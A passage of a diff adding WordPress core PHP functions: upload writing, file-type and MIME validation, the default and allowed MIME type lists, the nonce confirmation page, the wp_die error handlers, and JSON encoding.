+	if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
+		return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
+
+	$upload = wp_upload_dir( $time );
+
+	if ( $upload['error'] !== false )
+		return $upload;
+
+	/**
+	 * Filters whether to treat the upload bits as an error.
+	 *
+	 * Passing a non-array to the filter will effectively short-circuit preparing
+	 * the upload bits, returning that value instead.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
+	 */
+	$upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
+	if ( !is_array( $upload_bits_error ) ) {
+		$upload[ 'error' ] = $upload_bits_error;
+		return $upload;
+	}
+
+	$filename = wp_unique_filename( $upload['path'], $name );
+
+	$new_file = $upload['path'] . "/$filename";
+	if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
+		if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
+			$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
+		else
+			$error_path = basename( $upload['basedir'] ) . $upload['subdir'];
+
+		$message = sprintf(
+			/* translators: %s: directory path */
+			__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
+			$error_path
+		);
+		return array( 'error' => $message );
+	}
+
+	$ifp = @ fopen( $new_file, 'wb' );
+	if ( ! $ifp )
+		return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
+
+	@fwrite( $ifp, $bits );
+	fclose( $ifp );
+	clearstatcache();
+
+	// Set correct file permissions
+	$stat = @ stat( dirname( $new_file ) );
+	$perms = $stat['mode'] & 0007777;
+	$perms = $perms & 0000666;
+	@ chmod( $new_file, $perms );
+	clearstatcache();
+
+	// Compute the URL
+	$url = $upload['url'] . "/$filename";
+
+	/** This filter is documented in wp-admin/includes/file.php */
+	return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false ), 'sideload' );
+}
+
+/**
+ * Retrieve the file type based on the extension name.
+ *
+ * @since 2.5.0
+ *
+ * @param string $ext The extension to search.
+ * @return string|void The file type, example: audio, video, document, spreadsheet, etc.
+ */
+function wp_ext2type( $ext ) {
+	$ext = strtolower( $ext );
+
+	$ext2type = wp_get_ext_types();
+	foreach ( $ext2type as $type => $exts )
+		if ( in_array( $ext, $exts ) )
+			return $type;
+}
+
+/**
+ * Retrieve the file type from the file name.
+ *
+ * You can optionally define the mime array, if needed.
+ *
+ * @since 2.0.4
+ *
+ * @param string $filename File name or path.
+ * @param array  $mimes    Optional. Key is the file extension with value as the mime type.
+ * @return array Values with extension first and mime type.
+ */
+function wp_check_filetype( $filename, $mimes = null ) {
+	if ( empty($mimes) )
+		$mimes = get_allowed_mime_types();
+	$type = false;
+	$ext = false;
+
+	foreach ( $mimes as $ext_preg => $mime_match ) {
+		$ext_preg = '!\.(' . $ext_preg . ')$!i';
+		if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
+			$type = $mime_match;
+			$ext = $ext_matches[1];
+			break;
+		}
+	}
+
+	return compact( 'ext', 'type' );
+}
+
+/**
+ * Attempt to determine the real file type of a file.
+ *
+ * If unable to, the file name extension will be used to determine type.
+ *
+ * If it's determined that the extension does not match the file's real type,
+ * then the "proper_filename" value will be set with a proper filename and extension.
+ *
+ * Currently this function only supports renaming images validated via wp_get_image_mime().
+ *
+ * @since 3.0.0
+ *
+ * @param string $file     Full path to the file.
+ * @param string $filename The name of the file (may differ from $file due to $file being
+ *                         in a tmp directory).
+ * @param array   $mimes   Optional. Key is the file extension with value as the mime type.
+ * @return array Values for the extension, MIME, and either a corrected filename or false
+ *               if original $filename is valid.
+ */
+function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
+	$proper_filename = false;
+
+	// Do basic extension validation and MIME mapping
+	$wp_filetype = wp_check_filetype( $filename, $mimes );
+	$ext = $wp_filetype['ext'];
+	$type = $wp_filetype['type'];
+
+	// We can't do any further validation without a file to work with
+	if ( ! file_exists( $file ) ) {
+		return compact( 'ext', 'type', 'proper_filename' );
+	}
+
+	$real_mime = false;
+
+	// Validate image types.
+	if ( $type && 0 === strpos( $type, 'image/' ) ) {
+
+		// Attempt to figure out what type of image it actually is
+		$real_mime = wp_get_image_mime( $file );
+
+		if ( $real_mime && $real_mime != $type ) {
+			/**
+			 * Filters the list mapping image mime types to their respective extensions.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param  array $mime_to_ext Array of image mime types and their matching extensions.
+			 */
+			$mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
+				'image/jpeg' => 'jpg',
+				'image/png'  => 'png',
+				'image/gif'  => 'gif',
+				'image/bmp'  => 'bmp',
+				'image/tiff' => 'tif',
+			) );
+
+			// Replace whatever is after the last period in the filename with the correct extension
+			if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
+				$filename_parts = explode( '.', $filename );
+				array_pop( $filename_parts );
+				$filename_parts[] = $mime_to_ext[ $real_mime ];
+				$new_filename = implode( '.', $filename_parts );
+
+				if ( $new_filename != $filename ) {
+					$proper_filename = $new_filename; // Mark that it changed
+				}
+				// Redefine the extension / MIME
+				$wp_filetype = wp_check_filetype( $new_filename, $mimes );
+				$ext = $wp_filetype['ext'];
+				$type = $wp_filetype['type'];
+			} else {
+				// Reset $real_mime and try validating again.
+				$real_mime = false;
+			}
+		}
+	}
+
+	// Validate files that didn't get validated during previous checks.
+	if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
+		$finfo = finfo_open( FILEINFO_MIME_TYPE );
+		$real_mime = finfo_file( $finfo, $file );
+		finfo_close( $finfo );
+
+		// fileinfo often misidentifies obscure files as one of these types
+		$nonspecific_types = array(
+			'application/octet-stream',
+			'application/encrypted',
+			'application/CDFV2-encrypted',
+			'application/zip',
+		);
+
+		/*
+		 * If $real_mime doesn't match the content type we're expecting from the file's extension,
+		 * we need to do some additional vetting. Media types and those listed in $nonspecific_types are
+		 * allowed some leeway, but anything else must exactly match the real content type.
+		 */
+		if ( in_array( $real_mime, $nonspecific_types, true ) ) {
+			// File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
+			if ( !in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ) ) ) {
+				$type = $ext = false;
+			}
+		} elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) {
+			/*
+			 * For these types, only the major type must match the real value.
+			 * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
+			 * and some media files are commonly named with the wrong extension (.mov instead of .mp4)
+			 */
+			if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
+				$type = $ext = false;
+			}
+		} elseif ( 'text/plain' === $real_mime ) {
+			// A few common file types are occasionally detected as text/plain; allow those.
+			if ( ! in_array(
+				$type,
+				array(
+					'text/plain',
+					'text/csv',
+					'text/richtext',
+					'text/tsv',
+					'text/vtt',
+				)
+			)
+			) {
+				$type = $ext = false;
+			}
+		} elseif ( 'text/rtf' === $real_mime ) {
+			// Special casing for RTF files.
+			if ( ! in_array(
+				$type,
+				array(
+					'text/rtf',
+					'text/plain',
+					'application/rtf',
+				)
+			)
+			) {
+				$type = $ext = false;
+			}
+		} else {
+			if ( $type !== $real_mime ) {
+				/*
+				 * Everything else including image/* and application/*:
+				 * If the real content type doesn't match the file extension, assume it's dangerous.
+				 */
+				$type = $ext = false;
+			}
+
+		}
+	}
+
+	// The mime type must be allowed
+	if ( $type ) {
+		$allowed = get_allowed_mime_types();
+
+		if ( ! in_array( $type, $allowed ) ) {
+			$type = $ext = false;
+		}
+	}
+
+	/**
+	 * Filters the "real" file type of the given file.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array  $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
+	 *                                          'proper_filename' keys.
+	 * @param string $file                      Full path to the file.
+	 * @param string $filename                  The name of the file (may differ from $file due to
+	 *                                          $file being in a tmp directory).
+	 * @param array  $mimes                     Key is the file extension with value as the mime type.
+	 */
+	return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
+}
+
+/**
+ * Returns the real mime type of an image file.
+ *
+ * This depends on exif_imagetype() or getimagesize() to determine real mime types.
+ *
+ * @since 4.7.1
+ *
+ * @param string $file Full path to the file.
+ * @return string|false The actual mime type or false if the type cannot be determined.
+ */
+function wp_get_image_mime( $file ) {
+	/*
+	 * Use exif_imagetype() to check the mimetype if available or fall back to
+	 * getimagesize() if exif isn't avaialbe. If either function throws an Exception
+	 * we assume the file could not be validated.
+	 */
+	try {
+		if ( is_callable( 'exif_imagetype' ) ) {
+			$imagetype = exif_imagetype( $file );
+			$mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
+		} elseif ( function_exists( 'getimagesize' ) ) {
+			$imagesize = getimagesize( $file );
+			$mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
+		} else {
+			$mime = false;
+		}
+	} catch ( Exception $e ) {
+		$mime = false;
+	}
+
+	return $mime;
+}
+
+/**
+ * Retrieve list of mime types and file extensions.
+ *
+ * @since 3.5.0
+ * @since 4.2.0 Support was added for GIMP (xcf) files.
+ *
+ * @return array Array of mime types keyed by the file extension regex corresponding to those types.
+ */
+function wp_get_mime_types() {
+	/**
+	 * Filters the list of mime types and file extensions.
+	 *
+	 * This filter should be used to add, not remove, mime types. To remove
+	 * mime types, use the {@see 'upload_mimes'} filter.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $wp_get_mime_types Mime types keyed by the file extension regex
+	 *                                 corresponding to those types.
+	 */
+	return apply_filters( 'mime_types', array(
+	// Image formats.
+	'jpg|jpeg|jpe' => 'image/jpeg',
+	'gif' => 'image/gif',
+	'png' => 'image/png',
+	'bmp' => 'image/bmp',
+	'tiff|tif' => 'image/tiff',
+	'ico' => 'image/x-icon',
+	// Video formats.
+	'asf|asx' => 'video/x-ms-asf',
+	'wmv' => 'video/x-ms-wmv',
+	'wmx' => 'video/x-ms-wmx',
+	'wm' => 'video/x-ms-wm',
+	'avi' => 'video/avi',
+	'divx' => 'video/divx',
+	'flv' => 'video/x-flv',
+	'mov|qt' => 'video/quicktime',
+	'mpeg|mpg|mpe' => 'video/mpeg',
+	'mp4|m4v' => 'video/mp4',
+	'ogv' => 'video/ogg',
+	'webm' => 'video/webm',
+	'mkv' => 'video/x-matroska',
+	'3gp|3gpp' => 'video/3gpp', // Can also be audio
+	'3g2|3gp2' => 'video/3gpp2', // Can also be audio
+	// Text formats.
+	'txt|asc|c|cc|h|srt' => 'text/plain',
+	'csv' => 'text/csv',
+	'tsv' => 'text/tab-separated-values',
+	'ics' => 'text/calendar',
+	'rtx' => 'text/richtext',
+	'css' => 'text/css',
+	'htm|html' => 'text/html',
+	'vtt' => 'text/vtt',
+	'dfxp' => 'application/ttaf+xml',
+	// Audio formats.
+	'mp3|m4a|m4b' => 'audio/mpeg',
+	'aac' => 'audio/aac',
+	'ra|ram' => 'audio/x-realaudio',
+	'wav' => 'audio/wav',
+	'ogg|oga' => 'audio/ogg',
+	'flac' => 'audio/flac',
+	'mid|midi' => 'audio/midi',
+	'wma' => 'audio/x-ms-wma',
+	'wax' => 'audio/x-ms-wax',
+	'mka' => 'audio/x-matroska',
+	// Misc application formats.
+	'rtf' => 'application/rtf',
+	'js' => 'application/javascript',
+	'pdf' => 'application/pdf',
+	'swf' => 'application/x-shockwave-flash',
+	'class' => 'application/java',
+	'tar' => 'application/x-tar',
+	'zip' => 'application/zip',
+	'gz|gzip' => 'application/x-gzip',
+	'rar' => 'application/rar',
+	'7z' => 'application/x-7z-compressed',
+	'exe' => 'application/x-msdownload',
+	'psd' => 'application/octet-stream',
+	'xcf' => 'application/octet-stream',
+	// MS Office formats.
+	'doc' => 'application/msword',
+	'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
+	'wri' => 'application/vnd.ms-write',
+	'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
+	'mdb' => 'application/vnd.ms-access',
+	'mpp' => 'application/vnd.ms-project',
+	'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+	'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
+	'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
+	'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
+	'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+	'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
+	'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
+	'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
+	'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
+	'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
+	'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
+	'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
+	'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
+	'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
+	'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
+	'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
+	'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
+	'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
+	'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
+	'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
+	'oxps' => 'application/oxps',
+	'xps' => 'application/vnd.ms-xpsdocument',
+	// OpenOffice formats.
+	'odt' => 'application/vnd.oasis.opendocument.text',
+	'odp' => 'application/vnd.oasis.opendocument.presentation',
+	'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
+	'odg' => 'application/vnd.oasis.opendocument.graphics',
+	'odc' => 'application/vnd.oasis.opendocument.chart',
+	'odb' => 'application/vnd.oasis.opendocument.database',
+	'odf' => 'application/vnd.oasis.opendocument.formula',
+	// WordPerfect formats.
+	'wp|wpd' => 'application/wordperfect',
+	// iWork formats.
+	'key' => 'application/vnd.apple.keynote',
+	'numbers' => 'application/vnd.apple.numbers',
+	'pages' => 'application/vnd.apple.pages',
+	) );
+}
+
+/**
+ * Retrieves the list of common file extensions and their types.
+ *
+ * @since 4.6.0
+ *
+ * @return array Array of file extensions types keyed by the type of file.
+ */
+function wp_get_ext_types() {
+
+	/**
+	 * Filters file type based on the extension name.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @see wp_ext2type()
+	 *
+	 * @param array $ext2type Multi-dimensional array with extensions for a default set
+	 *                        of file types.
+	 */
+	return apply_filters( 'ext2type', array(
+		'image'       => array( 'jpg', 'jpeg', 'jpe',  'gif',  'png',  'bmp',   'tif',  'tiff', 'ico' ),
+		'audio'       => array( 'aac', 'ac3',  'aif',  'aiff', 'flac', 'm3a',  'm4a',   'm4b',  'mka',  'mp1',  'mp2',  'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
+		'video'       => array( '3g2',  '3gp', '3gpp', 'asf', 'avi',  'divx', 'dv',   'flv',  'm4v',   'mkv',  'mov',  'mp4',  'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt',  'rm', 'vob', 'wmv' ),
+		'document'    => array( 'doc', 'docx', 'docm', 'dotm', 'odt',  'pages', 'pdf',  'xps',  'oxps', 'rtf',  'wp', 'wpd', 'psd', 'xcf' ),
+		'spreadsheet' => array( 'numbers',     'ods',  'xls',  'xlsx', 'xlsm',  'xlsb' ),
+		'interactive' => array( 'swf', 'key',  'ppt',  'pptx', 'pptm', 'pps',   'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
+		'text'        => array( 'asc', 'csv',  'tsv',  'txt' ),
+		'archive'     => array( 'bz2', 'cab',  'dmg',  'gz',   'rar',  'sea',   'sit',  'sqx',  'tar',  'tgz',  'zip', '7z' ),
+		'code'        => array( 'css', 'htm',  'html', 'php',  'js' ),
+	) );
+}
+
+/**
+ * Retrieve list of allowed mime types and file extensions.
+ *
+ * @since 2.8.6
+ *
+ * @param int|WP_User $user Optional. User to check. Defaults to current user.
+ * @return array Array of mime types keyed by the file extension regex corresponding
+ *               to those types.
+ */
+function get_allowed_mime_types( $user = null ) {
+	$t = wp_get_mime_types();
+
+	unset( $t['swf'], $t['exe'] );
+	if ( function_exists( 'current_user_can' ) )
+		$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
+
+	if ( empty( $unfiltered ) ) {
+		unset( $t['htm|html'], $t['js'] );
+	}
+
+	/**
+	 * Filters list of allowed mime types and file extensions.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array            $t    Mime types keyed by the file extension regex corresponding to
+	 *                               those types. 'swf' and 'exe' removed from full list. 'htm|html' also
+	 *                               removed depending on '$user' capabilities.
+	 * @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
+	 */
+	return apply_filters( 'upload_mimes', $t, $user );
+}
+
+/**
+ * Display "Are You Sure" message to confirm the action being taken.
+ *
+ * If the action has the nonce explain message, then it will be displayed
+ * along with the "Are you sure?" message.
+ *
+ * @since 2.0.4
+ *
+ * @param string $action The nonce action.
+ */
+function wp_nonce_ays( $action ) {
+	if ( 'log-out' == $action ) {
+		$html = sprintf(
+			/* translators: %s: site name */
+			__( 'You are attempting to log out of %s' ),
+			get_bloginfo( 'name' )
+		);
+		$html .= '</p><p>';
+		$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+		$html .= sprintf(
+			/* translators: %s: logout URL */
+			__( 'Do you really want to <a href="%s">log out</a>?' ),
+			wp_logout_url( $redirect_to )
+		);
+	} else {
+		$html = __( 'The link you followed has expired.' );
+		if ( wp_get_referer() ) {
+			$wp_http_referer = remove_query_arg( 'updated', wp_get_referer() );
+			$wp_http_referer = wp_validate_redirect( esc_url_raw( $wp_http_referer ) );
+			$html           .= '</p><p>';
+			$html           .= sprintf(
+				'<a href="%s">%s</a>',
+				esc_url( $wp_http_referer ),
+				__( 'Please try again.' )
+			);
+		}
+	}
+
+	wp_die( $html, __( 'Something went wrong.' ), 403 );
+}
+
+/**
+ * Kill WordPress execution and display HTML message with error message.
+ *
+ * This function complements the `die()` PHP function. The difference is that
+ * HTML will be displayed to the user. It is recommended to use this function
+ * only when the execution should not continue any further. It is not recommended
+ * to call this function very often, and try to handle as many errors as possible
+ * silently or more gracefully.
+ *
+ * As a shorthand, the desired HTTP response code may be passed as an integer to
+ * the `$title` parameter (the default title would apply) or the `$args` parameter.
+ *
+ * @since 2.0.4
+ * @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
+ *              an integer to be used as the response code.
+ *
+ * @param string|WP_Error  $message Optional. Error message. If this is a WP_Error object,
+ *                                  and not an Ajax or XML-RPC request, the error's messages are used.
+ *                                  Default empty.
+ * @param string|int       $title   Optional. Error title. If `$message` is a `WP_Error` object,
+ *                                  error data with the key 'title' may be used to specify the title.
+ *                                  If `$title` is an integer, then it is treated as the response
+ *                                  code. Default empty.
+ * @param string|array|int $args {
+ *     Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
+ *     as the response code. Default empty array.
+ *
+ *     @type int    $response       The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
+ *     @type bool   $back_link      Whether to include a link to go back. Default false.
+ *     @type string $text_direction The text direction. This is only useful internally, when WordPress
+ *                                  is still loading and the site's locale is not set up yet. Accepts 'rtl'.
+ *                                  Default is the value of is_rtl().
+ * }
+ */
+function wp_die( $message = '', $title = '', $args = array() ) {
+
+	if ( is_int( $args ) ) {
+		$args = array( 'response' => $args );
+	} elseif ( is_int( $title ) ) {
+		$args  = array( 'response' => $title );
+		$title = '';
+	}
+
+	if ( wp_doing_ajax() ) {
+		/**
+		 * Filters the callback for killing WordPress execution for Ajax requests.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param callable $function Callback function name.
+		 */
+		$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
+	} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
+		/**
+		 * Filters the callback for killing WordPress execution for XML-RPC requests.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param callable $function Callback function name.
+		 */
+		$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
+	} else {
+		/**
+		 * Filters the callback for killing WordPress execution for all non-Ajax, non-XML-RPC requests.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param callable $function Callback function name.
+		 */
+		$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
+	}
+
+	call_user_func( $function, $message, $title, $args );
+}
+
+/**
+ * Kills WordPress execution and display HTML message with error message.
+ *
+ * This is the default handler for wp_die if you want a custom one for your
+ * site then you can overload using the {@see 'wp_die_handler'} filter in wp_die().
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param string|WP_Error $message Error message or WP_Error object.
+ * @param string          $title   Optional. Error title. Default empty.
+ * @param string|array    $args    Optional. Arguments to control behavior. Default empty array.
+ */
+function _default_wp_die_handler( $message, $title = '', $args = array() ) {
+	$defaults = array( 'response' => 500 );
+	$r = wp_parse_args($args, $defaults);
+
+	$have_gettext = function_exists('__');
+
+	if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
+		if ( empty( $title ) ) {
+			$error_data = $message->get_error_data();
+			if ( is_array( $error_data ) && isset( $error_data['title'] ) )
+				$title = $error_data['title'];
+		}
+		$errors = $message->get_error_messages();
+		switch ( count( $errors ) ) {
+		case 0 :
+			$message = '';
+			break;
+		case 1 :
+			$message = "<p>{$errors[0]}</p>";
+			break;
+		default :
+			$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
+			break;
+		}
+	} elseif ( is_string( $message ) ) {
+		$message = "<p>$message</p>";
+	}
+
+	if ( isset( $r['back_link'] ) && $r['back_link'] ) {
+		$back_text = $have_gettext? __('&laquo; Back') : '&laquo; Back';
+		$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
+	}
+
+	if ( ! did_action( 'admin_head' ) ) :
+		if ( !headers_sent() ) {
+			status_header( $r['response'] );
+			nocache_headers();
+			header( 'Content-Type: text/html; charset=utf-8' );
+		}
+
+		if ( empty($title) )
+			$title = $have_gettext ? __('WordPress &rsaquo; Error') : 'WordPress &rsaquo; Error';
+
+		$text_direction = 'ltr';
+		if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
+			$text_direction = 'rtl';
+		elseif ( function_exists( 'is_rtl' ) && is_rtl() )
+			$text_direction = 'rtl';
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="viewport" content="width=device-width">
+	<?php
+	if ( function_exists( 'wp_no_robots' ) ) {
+		wp_no_robots();
+	}
+	?>
+	<title><?php echo $title ?></title>
+	<style type="text/css">
+		html {
+			background: #f1f1f1;
+		}
+		body {
+			background: #fff;
+			color: #444;
+			font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+			margin: 2em auto;
+			padding: 1em 2em;
+			max-width: 700px;
+			-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+			box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+		}
+		h1 {
+			border-bottom: 1px solid #dadada;
+			clear: both;
+			color: #666;
+			font-size: 24px;
+			margin: 30px 0 0 0;
+			padding: 0;
+			padding-bottom: 7px;
+		}
+		#error-page {
+			margin-top: 50px;
+		}
+		#error-page p {
+			font-size: 14px;
+			line-height: 1.5;
+			margin: 25px 0 20px;
+		}
+		#error-page code {
+			font-family: Consolas, Monaco, monospace;
+		}
+		ul li {
+			margin-bottom: 10px;
+			font-size: 14px ;
+		}
+		a {
+			color: #0073aa;
+		}
+		a:hover,
+		a:active {
+			color: #00a0d2;
+		}
+		a:focus {
+			color: #124964;
+		    -webkit-box-shadow:
+		    	0 0 0 1px #5b9dd9,
+				0 0 2px 1px rgba(30, 140, 190, .8);
+		    box-shadow:
+		    	0 0 0 1px #5b9dd9,
+				0 0 2px 1px rgba(30, 140, 190, .8);
+			outline: none;
+		}
+		.button {
+			background: #f7f7f7;
+			border: 1px solid #ccc;
+			color: #555;
+			display: inline-block;
+			text-decoration: none;
+			font-size: 13px;
+			line-height: 26px;
+			height: 28px;
+			margin: 0;
+			padding: 0 10px 1px;
+			cursor: pointer;
+			-webkit-border-radius: 3px;
+			-webkit-appearance: none;
+			border-radius: 3px;
+			white-space: nowrap;
+			-webkit-box-sizing: border-box;
+			-moz-box-sizing:    border-box;
+			box-sizing:         border-box;
+
+			-webkit-box-shadow: 0 1px 0 #ccc;
+			box-shadow: 0 1px 0 #ccc;
+		 	vertical-align: top;
+		}
+
+		.button.button-large {
+			height: 30px;
+			line-height: 28px;
+			padding: 0 12px 2px;
+		}
+
+		.button:hover,
+		.button:focus {
+			background: #fafafa;
+			border-color: #999;
+			color: #23282d;
+		}
+
+		.button:focus  {
+			border-color: #5b9dd9;
+			-webkit-box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+			box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
+			outline: none;
+		}
+
+		.button:active {
+			background: #eee;
+			border-color: #999;
+		 	-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+		 	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+		 	-webkit-transform: translateY(1px);
+		 	-ms-transform: translateY(1px);
+		 	transform: translateY(1px);
+		}
+
+		<?php
+		if ( 'rtl' == $text_direction ) {
+			echo 'body { font-family: Tahoma, Arial; }';
+		}
+		?>
+	</style>
+</head>
+<body id="error-page">
+<?php endif; // ! did_action( 'admin_head' ) ?>
+	<?php echo $message; ?>
+</body>
+</html>
+<?php
+	die();
+}
+
+/**
+ * Kill WordPress execution and display XML message with error message.
+ *
+ * This is the handler for wp_die when processing XMLRPC requests.
+ *
+ * @since 3.2.0
+ * @access private
+ *
+ * @global wp_xmlrpc_server $wp_xmlrpc_server
+ *
+ * @param string       $message Error message.
+ * @param string       $title   Optional. Error title. Default empty.
+ * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
+ */
+function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
+	global $wp_xmlrpc_server;
+	$defaults = array( 'response' => 500 );
+
+	$r = wp_parse_args($args, $defaults);
+
+	if ( $wp_xmlrpc_server ) {
+		$error = new IXR_Error( $r['response'] , $message);
+		$wp_xmlrpc_server->output( $error->getXml() );
+	}
+	die();
+}
+
+/**
+ * Kill WordPress ajax execution.
+ *
+ * This is the handler for wp_die when processing Ajax requests.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string       $message Error message.
+ * @param string       $title   Optional. Error title (unused). Default empty.
+ * @param string|array $args    Optional. Arguments to control behavior. Default empty array.
+ */
+function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
+	$defaults = array(
+		'response' => 200,
+	);
+	$r = wp_parse_args( $args, $defaults );
+
+	if ( ! headers_sent() && null !== $r['response'] ) {
+		status_header( $r['response'] );
+	}
+
+	if ( is_scalar( $message ) )
+		die( (string) $message );
+	die( '0' );
+}
+
+/**
+ * Kill WordPress execution.
+ *
+ * This is the handler for wp_die when processing APP requests.
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $message Optional. Response to print. Default empty.
+ */
+function _scalar_wp_die_handler( $message = '' ) {
+	if ( is_scalar( $message ) )
+		die( (string) $message );
+	die();
+}
+
+/**
+ * Encode a variable into JSON, with some sanity checks.
+ *
+ * @since 4.1.0
+ *
+ * @param mixed $data    Variable (usually an array or object) to encode as JSON.
+ * @param int   $options Optional. Options to be passed to json_encode(). Default 0.
+ * @param int   $depth   Optional. Maximum depth to walk through $data. Must be
+ *                       greater than 0. Default 512.
+ * @return string|false The JSON encoded string, or false if it cannot be encoded.
+ */
+function wp_json_encode( $data, $options = 0, $depth = 512 ) {
+	/*
+	 * json_encode() has had extra params added over the years.
+	 * $options was added in 5.3, and $depth in 5.5.
+	 * We need to make sure we call it with the correct arguments.
+	 */
+	if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
+		$args = array( $data, $options, $depth );
+	} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
+		$args = array( $data, $options );
+	} else {
+		$args = array( $data );
+	}
+
+	// Prepare the data for JSON serialization.
+	$args[0] = _wp_json_prepare_data( $data );
+
+	$json = @call_user_func_array( 'json_encode', $args );
+
+	// If json_encode() was successful, no need to do more sanity checking.
+	// ... unless we're in an old version of PHP, and json_encode() returned
+	// a string containing 'null'. Then we need to do more sanity checking.
+	if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) )  {
+		return $json;
+	}
+
+	try {
+		$args[0] = _wp_json_sanity_check( $data, $depth );
+	} catch ( Exception $e ) {
+		return false;
+	}
+
+	return call_user_func_array( 'json_encode', $args );
+}
+
+/**
+ * Perform sanity checks on data that shall be encoded to JSON.
+ *
+ * @ignore
+ * @since 4.1.0
+ * @access private
+ *
+ * @see wp_json_encode()
+ *
